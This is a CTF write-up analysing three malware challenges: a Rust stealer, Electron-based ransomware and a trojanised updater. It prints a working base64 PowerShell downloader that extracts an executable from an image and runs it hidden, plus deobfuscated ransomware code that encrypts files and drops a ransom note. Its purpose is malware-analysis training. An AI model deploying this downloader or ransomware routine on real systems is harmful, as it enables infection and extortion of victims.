Malware
Rust, Stripped, C2
Electron, Ransomware
Staged, PyArmor, Exfiltration
A Mule Stealer
Description
[IMPORTANT] This challenge involves working with malicious files. While we have done our best to ensure that these files cause no malicious impact if launched accidentally, please be careful when working with them.
Is this a rabbit? Or a cat? Or a crabbit..., maybe? I'm instructed not to click on weird attachments, but this one should be my background image for real!
Solution
Given EML file, we can use EML viewer online to view it.

By clicking video hyperlink we will redirected to a fake captcha URL. Through analyzing the HTML source we will see that it will execute HTA file that execute a powershell command below
powershell.exe -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwANAAoAJAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAANAAoAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAnAGgAdAB0AHAAcwA6AC8ALwB2AGUAcgBpAGYAeQBjAGUAcgB0AC4AdABhAHMAawAuAHMAYQBzAGMALgB0AGYALwBmAGwAYQBnAC4AcABuAGcAJwApAA0ACgAkAG0AcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACwAJABiAHkAdABlAHMAKQANAAoAJABiAG0AcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4AQgBpAHQAbQBhAHAAKAAkAG0AcwApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAQgBpAHQAcwBUAG8AQgB5AHQAZQAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAWwBiAG8AbwBsAFsAXQBdACQAYgBpAHQAcwAsACAAWwBpAG4AdABdACQAcwB0AGEAcgB0AEkAbgBkAGUAeAApAA0ACgAgACAAIAAgACQAdgBhAGwAIAA9ACAAMAANAAoAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAOAA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABiAGkAdABzAFsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwAgACQAaQBdACkAIAB7ACAAJAB2AGEAbAAgAD0AIAAkAHYAYQBsACAALQBiAG8AcgAgACgAMQAgAC0AcwBoAGwAIAAkAGkAKQAgAH0ADQAKACAAIAAgACAAfQANAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgAFsAYgB5AHQAZQBdACQAdgBhAGwADQAKAH0ADQAKACQAYgBpAHQATABpAHMAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAJwBTAHkAcwB0AGUAbQAuAEMAbwBsAGwAZQBjAHQAaQBvAG4AcwAuAEcAZQBuAGUAcgBpAGMALgBMAGkAcwB0AFsAYgBvAG8AbABdACcADQAKAGYAbwByACAAKAAkAHkAIAA9ACAAMAA7ACAAJAB5ACAALQBsAHQAIAAkAGIAbQBwAC4ASABlAGkAZwBoAHQAOwAgACQAeQArACsAKQAgAHsADQAKACAAIAAgACAAZgBvAHIAIAAoACQAeAAgAD0AIAAwADsAIAAkAHgAIAAtAGwAdAAgACQAYgBtAHAALgBXAGkAZAB0AGgAOwAgACQAeAArACsAKQAgAHsADQAKACAAIAAgACAAIAAgACAAIAAkAHIAIAA9ACAAJABiAG0AcAAuAEcAZQB0AFAAaQB4AGUAbAAoACQAeAAsACAAJAB5ACkALgBSAA0ACgAgACAAIAAgACAAIAAgACAAWwB2AG8AaQBkAF0AJABiAGkAdABMAGkAcwB0AC4AQQBkAGQAKAAoACQAcgAgAC0AYgBhAG4AZAAgADEAKQApAA0ACgAgACAAIAAgAH0ADQAKAH0ADQAKACQAYgBpAHQAcwAgAD0AIAAkAGIAaQB0AEwAaQBzAHQALgBUAG8AQQByAHIAYQB5ACgAKQANAAoAJABzAGkAegBlAEIAeQB0AGUAcwAgAD0AIAAwAC4ALgAzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIABCAGkAdABzAFQAbwBCAHkAdABlACAAJABiAGkAdABzACAAKAAkAF8AIAAqACAAOAApACAAfQANAAoAJABwAGEAeQBsAG8AYQBkAEwAZQBuACAAPQAgAFsAQgBpAHQAQwBvAG4AdgBlAHIAdABlAHIAXQA6ADoAVABvAEkAbgB0ADMAMgAoACQAcwBpAHoAZQBCAHkAdABlAHMALAAgADAAKQANAAoAJABwAGEAeQBsAG8AYQBkACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACQAcABhAHkAbABvAGEAZABMAGUAbgANAAoAZgBvAHIAIAAoACQAYgAgAD0AIAAwADsAIAAkAGIAIAAtAGwAdAAgACQAcABhAHkAbABvAGEAZABMAGUAbgA7ACAAJABiACsAKwApACAAewANAAoAIAAgACAAIAAkAHAAYQB5AGwAbwBhAGQAWwAkAGIAXQAgAD0AIABCAGkAdABzAFQAbwBCAHkAdABlACAAJABiAGkAdABzACAAKAAzADIAIAArACAAJABiACAAKgAgADgAKQANAAoAfQANAAoAJABkAGkAcgAgAD0AIABKAG8AaQBuAC0AUABhAHQAaAAgACQAZQBuAHYAOgBMAE8AQwBBAEwAQQBQAFAARABBAFQAQQAgACcAdABlAG0AcAAnAA0ACgAkAG8AdQB0AEYAaQBsAGUAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGQAaQByACAAJwBzAHYAYwBoAG8AcwB0AC4AZQB4AGUAJwANAAoAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACQAbwB1AHQARgBpAGwAZQAsACAAJABwAGEAeQBsAG8AYQBkACkADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAbwB1AHQARgBpAGwAZQAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4ADQAKAA0ACgA=
To get the executed command we can run base64 decode on it and print it as utf-16
import base64
cmd = "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwANAAoAJAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAANAAoAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAnAGgAdAB0AHAAcwA6AC8ALwB2AGUAcgBpAGYAeQBjAGUAcgB0AC4AdABhAHMAawAuAHMAYQBzAGMALgB0AGYALwBmAGwAYQBnAC4AcABuAGcAJwApAA0ACgAkAG0AcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACwAJABiAHkAdABlAHMAKQANAAoAJABiAG0AcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4AQgBpAHQAbQBhAHAAKAAkAG0AcwApAA0ACgANAAoAZgB1AG4AYwB0AGkAbwBuACAAQgBpAHQAcwBUAG8AQgB5AHQAZQAgAHsADQAKACAAIAAgACAAcABhAHIAYQBtACgAWwBiAG8AbwBsAFsAXQBdACQAYgBpAHQAcwAsACAAWwBpAG4AdABdACQAcwB0AGEAcgB0AEkAbgBkAGUAeAApAA0ACgAgACAAIAAgACQAdgBhAGwAIAA9ACAAMAANAAoAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAOAA7ACAAJABpACsAKwApACAAewANAAoAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABiAGkAdABzAFsAJABzAHQAYQByAHQASQBuAGQAZQB4ACAAKwAgACQAaQBdACkAIAB7ACAAJAB2AGEAbAAgAD0AIAAkAHYAYQBsACAALQBiAG8AcgAgACgAMQAgAC0AcwBoAGwAIAAkAGkAKQAgAH0ADQAKACAAIAAgACAAfQANAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgAFsAYgB5AHQAZQBdACQAdgBhAGwADQAKAH0ADQAKACQAYgBpAHQATABpAHMAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAJwBTAHkAcwB0AGUAbQAuAEMAbwBsAGwAZQBjAHQAaQBvAG4AcwAuAEcAZQBuAGUAcgBpAGMALgBMAGkAcwB0AFsAYgBvAG8AbABdACcADQAKAGYAbwByACAAKAAkAHkAIAA9ACAAMAA7ACAAJAB5ACAALQBsAHQAIAAkAGIAbQBwAC4ASABlAGkAZwBoAHQAOwAgACQAeQArACsAKQAgAHsADQAKACAAIAAgACAAZgBvAHIAIAAoACQAeAAgAD0AIAAwADsAIAAkAHgAIAAtAGwAdAAgACQAYgBtAHAALgBXAGkAZAB0AGgAOwAgACQAeAArACsAKQAgAHsADQAKACAAIAAgACAAIAAgACAAIAAkAHIAIAA9ACAAJABiAG0AcAAuAEcAZQB0AFAAaQB4AGUAbAAoACQAeAAsACAAJAB5ACkALgBSAA0ACgAgACAAIAAgACAAIAAgACAAWwB2AG8AaQBkAF0AJABiAGkAdABMAGkAcwB0AC4AQQBkAGQAKAAoACQAcgAgAC0AYgBhAG4AZAAgADEAKQApAA0ACgAgACAAIAAgAH0ADQAKAH0ADQAKACQAYgBpAHQAcwAgAD0AIAAkAGIAaQB0AEwAaQBzAHQALgBUAG8AQQByAHIAYQB5ACgAKQANAAoAJABzAGkAegBlAEIAeQB0AGUAcwAgAD0AIAAwAC4ALgAzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIABCAGkAdABzAFQAbwBCAHkAdABlACAAJABiAGkAdABzACAAKAAkAF8AIAAqACAAOAApACAAfQANAAoAJABwAGEAeQBsAG8AYQBkAEwAZQBuACAAPQAgAFsAQgBpAHQAQwBvAG4AdgBlAHIAdABlAHIAXQA6ADoAVABvAEkAbgB0ADMAMgAoACQAcwBpAHoAZQBCAHkAdABlAHMALAAgADAAKQANAAoAJABwAGEAeQBsAG8AYQBkACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACQAcABhAHkAbABvAGEAZABMAGUAbgANAAoAZgBvAHIAIAAoACQAYgAgAD0AIAAwADsAIAAkAGIAIAAtAGwAdAAgACQAcABhAHkAbABvAGEAZABMAGUAbgA7ACAAJABiACsAKwApACAAewANAAoAIAAgACAAIAAkAHAAYQB5AGwAbwBhAGQAWwAkAGIAXQAgAD0AIABCAGkAdABzAFQAbwBCAHkAdABlACAAJABiAGkAdABzACAAKAAzADIAIAArACAAJABiACAAKgAgADgAKQANAAoAfQANAAoAJABkAGkAcgAgAD0AIABKAG8AaQBuAC0AUABhAHQAaAAgACQAZQBuAHYAOgBMAE8AQwBBAEwAQQBQAFAARABBAFQAQQAgACcAdABlAG0AcAAnAA0ACgAkAG8AdQB0AEYAaQBsAGUAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGQAaQByACAAJwBzAHYAYwBoAG8AcwB0AC4AZQB4AGUAJwANAAoAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACQAbwB1AHQARgBpAGwAZQAsACAAJABwAGEAeQBsAG8AYQBkACkADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAbwB1AHQARgBpAGwAZQAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4ADQAKAA0ACgA="
print(base64.b64decode(cmd).strip().decode('utf-16-le'))
Add-Type -AssemblyName System.Drawing
$wc = New-Object System.Net.WebClient
[byte[]]$bytes = $wc.DownloadData('https://verifycert.task.sasc.tf/flag.png')
$ms = New-Object System.IO.MemoryStream(,$bytes)
$bmp = New-Object System.Drawing.Bitmap($ms)
function BitsToByte {
param([bool[]]$bits, [int]$startIndex)
$val = 0
for ($i = 0; $i -lt 8; $i++) {
if ($bits[$startIndex + $i]) { $val = $val -bor (1 -shl $i) }
}
return [byte]$val
}
$bitList = New-Object 'System.Collections.Generic.List[bool]'
for ($y = 0; $y -lt $bmp.Height; $y++) {
for ($x = 0; $x -lt $bmp.Width; $x++) {
$r = $bmp.GetPixel($x, $y).R
[void]$bitList.Add(($r -band 1))
}
}
$bits = $bitList.ToArray()
$sizeBytes = 0..3 | ForEach-Object { BitsToByte $bits ($_ * 8) }
$payloadLen = [BitConverter]::ToInt32($sizeBytes, 0)
$payload = New-Object byte[] $payloadLen
for ($b = 0; $b -lt $payloadLen; $b++) {
$payload[$b] = BitsToByte $bits (32 + $b * 8)
}
$dir = Join-Path $env:LOCALAPPDATA 'temp'
$outFile = Join-Path $dir 'svchost.exe'
[System.IO.File]::WriteAllBytes($outFile, $payload)
Start-Process -FilePath $outFile -WindowStyle Hidden
By removing last line, we will get file svchost.exe
in directory C:\Users\<username>\AppData\Local\temp\
. Next we need to analyze svchost.exe file.

First, when we check available strings on the executable we will know that the executable built with Rust
.

The functions are stripped, but we can try to recover library function by using Cerberus. Although not all library function has been successfully recovered but the recovery results are quite helpful.
Through running the executable on sandbox, we can see that there are access to http://backupstorage.task.sasc.tf/out and http://backupstorage.task.sasc.tf/in. By utilizing API monitor we can see that after accessing /in
, malware will execute system command which is type flag.txt
. Since we've recovered some function name, we can take a look on function related to command execution
std::sys::process::windows::Command::new::ha91b5c00c22479af
Looking at xref
, we found one user defined function which call that function which is sub_14004BF20
. Set up breakpoint on address 0x14001F5CB
that call function sub_14004BF20
. While debugging we will see that the output from command type flag.txt
will be carried out and passed to function sub_14004BCB0
. Through static analysis we can see that function sub_14004BCB0
do RC4
encryption.
v21[0] = xmmword_1403302B0;
v21[1] = xmmword_1403302C0;
qmemcpy(v22, " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmno", 80);
v22[5] = xmmword_140330320;
v22[6] = xmmword_140330330;
v22[7] = xmmword_140330340;
v22[8] = xmmword_140330350;
v22[9] = xmmword_140330360;
v22[10] = xmmword_140330370;
v22[11] = xmmword_140330380;
v22[12] = xmmword_140330390;
v22[13] = xmmword_1403303A0;
if ( !a3 )
core::panicking::panic_const::panic_const_gen_fn_none_panic::he55d07833a68dc9c_22(&off_1403308C0);
v8 = 0LL;
v9 = 0;
do
{
v11 = *((_BYTE *)v21 + v8);
if ( (a3 | v8) >> 32 )
v10 = v8 % a3;
else
v10 = (unsigned int)v8 % (unsigned int)a3;
v9 += *(_BYTE *)(a2 + v10) + v11;
*((_BYTE *)v21 + v8++) = *((_BYTE *)v21 + v9);
*((_BYTE *)v21 + v9) = v11;
}
while ( v8 != 256 );
----------SNIPPET----------
sub_14004A180(v20, (__int64)v19);
*(_QWORD *)(a1 + 16) = v18;
*(_OWORD *)a1 = v17;
return a1;
In the end of function sub_14004BCB0
we can see that there is a call to function sub_14004A180
.
do
{
v12 = *(_BYTE *)(v2 + v11);
v13 = (unsigned __int8)(*v6 + 1);
*(_QWORD *)v6 = v13;
v14 = (unsigned __int8)(*(_BYTE *)v7 + *(_BYTE *)(v8 + v13));
*v7 = v14;
v15 = *(_QWORD *)v6;
if ( *(_QWORD *)v6 >= 0x100uLL )
core::panicking::panic_bounds_check::hd27beb7b2bd17d70(v15, 256LL, &off_1403308D8, v5);
v16 = *(_BYTE *)(v8 + v15);
*(_BYTE *)(v8 + v15) = *(_BYTE *)(v8 + v14);
*(_BYTE *)(v8 + v14) = v16;
v17 = *(_QWORD *)v6;
if ( *(_QWORD *)v6 > 0xFFuLL )
core::panicking::panic_bounds_check::hd27beb7b2bd17d70(v17, 256LL, &off_1403308F0, v5);
if ( *v7 >= 0x100uLL )
core::panicking::panic_bounds_check::hd27beb7b2bd17d70(*v7, 256LL, &off_140330908, v5);
*(_BYTE *)(v9 + v5++) = *(_BYTE *)(v8 + (unsigned __int8)(*(_BYTE *)(v8 + v17) + *(_BYTE *)(v8 + *v7))) ^ v12;
++v11;
}
while ( v10 != v11 );
Through static analysis we can see also that function sub_14004A180
do encryption/decryption part of RC4. So by looking at function arguments or variable in function we can clearly get the key used to do the encryption
in this case. During the competition, the process of sending ciphertext to the server was denied (no write permission
to the server), so we can conclude that the file exist on the server is the ciphertext of flag.txt. So download the file then decrypt using RC4 to get the flag.
from arc4 import ARC4
a = "09DC6E7F7782A4B5877BD0267FC3605FDFE126B95A46C0BE63D0740EE80EEE46"
f = open("exfiltr8.txt", "rb").read()
cipher = ARC4(bytes.fromhex(a))
print(cipher.decrypt(f))

Flag: SAS{c475_w17h_r4bb17_34r5_c4n_d3liv4r_m4lw4r3}
Best Teams Forever
Description
[IMPORTANT] This challenge involves working with malicious files. While we have done our best to ensure that these files cause no malicious impact if launched accidentally, please be careful when working with them.
Hi! This is Bob from incident response.
Reaching to you regarding that ransomware attack we've had on our side-hosted server running "Windows Server 2019 Standard (17763.3650)". I was really surprised to find out MS Teams on the application list. Like, this a server, why would you need a corporate chat there?
That looks kinda SUS, aren't you thinking so? That being said, attaching some related artifacts. Check asap.
Best regards, Bob Guzini, Neck of IR Department.
Solution
Given file archive that contains executable and other related files. By decompiling Teams.exe we will see that the pdb
file of Teams.exe is electron.exe.pdb
.

From that information we know that the application is an electron based, so let's take a look on resources directory. In resources directory there is app.asar
which lies the code executed by the electron application. To unarchive asar
file, we can use following command
npx asar extract app.asar output
Looking at index.js
, we can see that the code is obfuscated so let's use online deobfuscator for it. Scrolling down we will see the main code as follows
const {
app: _0x4ba9f2
} = require("electron");
const _0x54dc42 = require('v8');
const _0x5e1cfd = require('vm');
_0x4ba9f2.commandLine.appendSwitch("js-flags", "--expose_gc");
_0x54dc42.setFlagsFromString("--expose_gc");
global.gc = _0x5e1cfd.runInNewContext('gc');
(function _0x4badfc() {
process.on("uncaughtException", _0x4a1fa2 => {});
process.on("unhandledRejection", (_0x3e45b4, _0x573839) => {});
process.on("warning", _0x4225ea => {});
try {
_0x4cfb1f(2147483650, "SOFTWARE\\Microsoft", "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft");
} catch (_0x218151) {}
if (_0x3544df == null || _0x439019 == null) {
_0x3544df = _0x1fdca3.createHash("sha256").update(_0x28a4d9).digest();
_0x439019 = _0x1fdca3.createHash("md5").update(_0x28a4d9).digest();
}
const _0x2b6c61 = _0x362d4c.readdirSync("C:\\sasctf_77a44d458a057afe4beed9de71923f65e1fcf230baa916d48359dd8926826521");
for (const _0x12ee6c of _0x2b6c61) {
const _0xa9f56c = _0x349506.join("C:\\sasctf_77a44d458a057afe4beed9de71923f65e1fcf230baa916d48359dd8926826521", _0x12ee6c);
const _0x5d4a9a = _0x349506.join("C:\\sasctf_77a44d458a057afe4beed9de71923f65e1fcf230baa916d48359dd8926826521", _0x12ee6c + ".enc");
try {
const _0x396328 = _0x362d4c.statSync(_0xa9f56c);
if (_0x396328.isFile() && !_0xa9f56c.includes(".enc") && !_0xa9f56c.includes("restore_files")) {
_0x26a82b(_0xa9f56c, _0x5d4a9a);
}
} catch (_0x463ea2) {}
}
_0x362d4c.writeFileSync(_0x349506.join("C:\\sasctf_77a44d458a057afe4beed9de71923f65e1fcf230baa916d48359dd8926826521", "restore_files.txt"), "Your files has been encrypted\nTo recover them you need decryption tool\n\nContact us\n\nDownload TOR Browser https://www.torproject.org/download/ (sometimes need VPN to download)\nOpen TOR browser and follow by link below:\nhttp://tslvj33xw1hxywownd1rgljotmp2rzekln6qeg71c4oaapmn70ug5im0.onion/WJlI0Po6dh7XgxzRwIJUIjtvapjg7pmh\n\nInclude one of encrypted files in letter\nOur guarantee: we provide free decyrption for 3 files up to 3 megabytes (not zip,db,backup)");
process.exit(0);
})();
At initial, there is execution of function _0x4cfb1f
. By static analysis we can see that function _0x4cfb1f
mainly do the following behavior
Open
registry key
Check if
_0x3544df
or_0x439019
has been filled or not after random check based on Math.randomif null,
_0x3544df
will be filled withsha256
of _0x4478eaif null,
_0x439019
will be filled withmd5
of _0x4478ea_0x3544df and _0x439019 is not filled with the same _0x4478ea
Enumerate key inside
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft
and recursively call_0x4cfb1f
So we can conclude that function _0x4cfb1f
will choose randomly key inside HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft
and put the hash of it in _0x3544df or _0x439019.
After calling _0x4cfb1f
, if _0x3544df or _0x439019 is null, it will be filled with _0x28a4d9 which is the last value of the enumerated key in function _0x4cfb1f
. Next, the malware will read files in directory C:\sasctf_77a44d458a057afe4beed9de71923f65e1fcf230baa916d48359dd8926826521
that doesn't have .enc
or restore_files in filename. The encryption function lies on function _0x26a82b
.
function _0x26a82b(_0x4de7e6, _0x286880) {
const _0x2892d1 = {
DlpNn: "sha256"
};
_0x2892d1.TNpiH = "aes-256-cbc";
_0x2892d1.Cbssn = function (_0x3d73a, _0x526ec5) {
return _0x3d73a * _0x526ec5;
};
_0x2892d1.uTMaD = function (_0xa9c4bb, _0x4e8a7b) {
return _0xa9c4bb > _0x4e8a7b;
};
_0x2892d1.acVAu = function (_0x41bad7, _0x22e6a9) {
return _0x41bad7 === _0x22e6a9;
};
_0x2892d1.cHkvD = "Awplq";
_0x2892d1.rgkhk = "hJYhk";
const _0x15f440 = _0x1fdca3.publicEncrypt({
'key': "-----BEGIN PUBLIC KEY-----\nMIIBITANBgkqhkiG9w0BAQEFAAOCAQ4AMIIBCQKCAQB169c3+EojrL2XH6yT6DZK\n+W35BTDgo5aCudleFOFckg1g22F26Rwtv6a2OGiyOK81yizQpyJz5UgRHaEzoh8c\n2ciWUNfjcu3n/w8Q5Rpe9Zz07HUN91mgZhHF+sP9n8uPFEzgAccsKURofedHOE+t\n2EgDlTRD1pZd+VP8G5eQOoMri0SXj6gaAFWef86E+YNh9WCJ2gSqbLFyFjH37EQM\nrySP8CSJmr/irvB1GQyejJhpWp2psBsqsWMe9/JJ7f76I0Sj1ym/Ta/hStq7kBku\na6vUjS7yb5ZRMAGZfg5uuAH8a9Io7CUqT+Uyq5EV4AhwSZxDR565QeLLKuxGDVup\nAgMBAAE=\n-----END PUBLIC KEY-----",
'padding': _0x1fdca3.constants.RSA_PKCS1_OAEP_PADDING,
'oaepHash': "sha256"
}, Buffer.concat([_0x3544df, _0x439019]));
_0x362d4c.writeFileSync(_0x286880, _0x15f440);
const _0x4e5496 = _0x1fdca3.createCipheriv(_0x2892d1.TNpiH, _0x3544df, _0x439019);
const _0x303520 = _0x2892d1.Cbssn(64, 1024);
const _0x2f5da3 = _0x362d4c.openSync(_0x4de7e6, 'r');
const _0x243355 = _0x362d4c.openSync(_0x286880, 'a');
const _0x5d4c6b = Buffer.alloc(_0x303520);
let _0x2ac920;
while (_0x2892d1.uTMaD(_0x2ac920 = _0x362d4c.readSync(_0x2f5da3, _0x5d4c6b, 0, _0x303520, null), 0)) {
if (_0x2892d1.acVAu(_0x2892d1.cHkvD, _0x2892d1.rgkhk)) {
const _0x56ee25 = _0x454237.apply(_0x5749bd, arguments);
_0x5bbf39 = null;
return _0x56ee25;
} else {
const _0x2d166a = _0x4e5496.update(_0x5d4c6b.slice(0, _0x2ac920));
_0x362d4c.writeSync(_0x243355, _0x2d166a);
}
}
_0x362d4c.writeSync(_0x243355, _0x4e5496.final());
_0x362d4c.closeSync(_0x2f5da3);
_0x362d4c.closeSync(_0x243355);
_0x362d4c.unlinkSync(_0x4de7e6);
}
By analyzing it statically we can conclude what code above did
Encrypt
_0x3544df
and_0x439019
using RSABy getting the RSA parameter we found that it is hard/impossible to recover the private key because it use standard RSA implementation
Put the RSA ciphertext to the .enc file
Create AES cipher with key
_0x3544df
and iv_0x439019
Encrypt the file passed with AES
Until this step we know that there is a vulnerability in the encryption since it use "bruteforceable" information to derive a key. Because we know that the client use following OS Windows Server 2019 Standard (17763.3650)
we can try to setup the operating system and dump the registry key. After trying several option we found the right one, which is en
version with desktop
installation.
During the installation process, we also make sure the formatting of the registry key by modifying the asar
file. To do this, we modified the index.js and pack the code again.
We put following code 2 times, near the hashing process of
_0x3544df
which is inside recursive function and main function.

Pack the code with following command
asar pack tmp app.asar
Then we just need to create a file aaa.txt and any .txt file inside C:\sasctf_77a44d458a057afe4beed9de71923f65e1fcf230baa916d48359dd8926826521
. After that run the executable and got the key written in aaa.txt
. Following is the example of key before it hashed.
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MMC\NodeTypes\{E3EDFDFF-D0C3-11d1-955B-0000F803A951}
Back to the installed windows server, we can dump the registry using following command
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft" /s > "C:\Microsoft_Registry.txt"
Because the encryption using AES-CBC
, if we use invalid IV
it will only failed to decrypt the first block but the rest block is valid. Looking at important.txt.enc
file we saw that the file is not small
, so we can reduce the bruteforce time by only bruteforcing the key (with assumption the IV is different key).
from Crypto.Cipher import AES
import hashlib
f = open("Microsoft_Registry.txt", "rb").read()
ct = open("important.txt.enc", "rb").read()[256:]
fake_iv = b"\x00" * 16
for i in f.split(b"\n"):
if b"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft" in i:
possible_key = i[:-1]
sha256_reg = hashlib.sha256(possible_key).digest()
cipher = AES.new(sha256_reg, AES.MODE_CBC, fake_iv)
out = cipher.decrypt(ct)
try:
out[-32:-16].decode() # assuming n-1 block is valid utf-8
if b"SAS{" in out:
print(out)
except Exception as e:
continue

Flag: SAS{N0_M0r3_R4n50m_f0r_53rv3r5}
Music Speed Changer
Description
[IMPORTANT] This challenge involves working with malicious files. While we have done our best to ensure that these files cause no malicious impact if launched accidentally, please be careful when working with them.
I miss those times when discord bots had an ability to play music... With a single button press you can change speed, pitch, bass... I like some tracks to bee speedy, some to be slow, some to bang from the back.
I was seeking for a solution for so long, and luckily found one! Or so I thought... Yesterday my friend from a local secret service called me and said I should change my passwords. How could he know? He refused to answer :(
Solution
Given .dmp
file which is a network dump, we can open it using mitmweb
. Looking at the traffic we will see some suspicious traffic to domain musicspeedchanger.online
.

fetcher.php
is an endpoint to download executable file named setup.exe

Let's download the file and open it in IDA
. By looking at the code, we can see that setup.exe is an installer, we can extract the file inside by using 7z
.
7z x setup.exe

There are some executable files, looking on it one by one we found suspicious executable which is upd.exe
. From the pdb
name we know that upd
likely an executable to do the update for the MusicSpeedChanger
. We can see access to https://musicspeedchanger.online/fetcher.php?uid= in main function and it match with the data in network dump.

Let's understand the program by statically and dynamically analysis it.
dwHandle = 0;
sub_140001AE0((__int64)Block);
v0 = 2;
if ( Block[2] )
{
GetTempPathW(0x104u, Buffer);
------------SNIPPET------------
*(_QWORD *)&ProcessInformation.dwProcessId = 0LL;
v69 = 7LL;
LOWORD(ProcessInformation.hProcess) = 0;
GetTempFileNameW(Buffer, L"upd", 0, TempFileName);
PathRenameExtensionW(TempFileName, L".enc");
*(_OWORD *)lpFileName = 0LL;
v66 = 0LL;
v67 = 0LL;
v2 = -1LL;
v12 = -1LL;
do
++v12;
while ( TempFileName[v12] );
sub_140005BD0(lpFileName, TempFileName, v12);
v13 = sub_140001FB0((__int64)&URL, (const WCHAR *)lpFileName);
------------SNIPPET------------
sub_140001AE0
get value forMachineGuid
Buffer
will store temporary directory, e.gC:\Users\ryuk\AppData\Local\Temp\
Create a random filename with prefix
upd
with extension.enc
sub_140005BD0
will copyarg2
toarg1
sub_140001FB0
will access URL https://musicspeedchanger.online/fetcher.php?uid=<machine_guid>
and store the response which is a file in<temp>/upd<random>.enc
Looking at the next code, we will see call to a function sub_140002650
.
v14 = (const WCHAR *)lpFileName;
if ( !v13 )
goto LABEL_29;
if ( sub_140002650((const WCHAR *)lpFileName) )
break;
v14 = (const WCHAR *)lpFileName;
LABEL_29:
if ( v67 >= 8 )
v14 = lpFileName[0];
DeleteFileW(v14);
Sleep(0xEA60u);
Function sub_140002650
do the decryption of .enc
file, we know it by looking at the code


To get the decrypted version we don't need to reconstruct the decrypt function. Because in this case we've network dump, so basically we can repeat the process
same like the infected machine. Following is the idea
Create fake server with HTTPs
Generate self-signed cert and install cert on our sandbox machine
Fake server will sent the same data like in network dump
Directly put our fake HTTPs server ip address in
/etc/hosts
. E.gmusicspeedchanger.online 192.168.137.2
Generate self-signed certificate first, put musicspeedchanger.online as FQDN
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout key.pem -out cert.pem
Convert cert.pem
to .der
, then install .der
fileto sandbox machine
openssl x509 -in cert.pem -out cert.der -outform DER
from flask import Flask, request, jsonify, send_file
import json
COUNTER = 0
app = Flask(__name__)
@app.route('/', defaults={'path': ''}, methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'OPTIONS'])
@app.route('/<path:path>', methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH', 'OPTIONS'])
def catch_all(path):
request_data = {
'endpoint': f'/{path}',
'method': request.method,
'headers': dict(request.headers),
'query_params': request.args.to_dict(),
'ip': request.remote_addr,
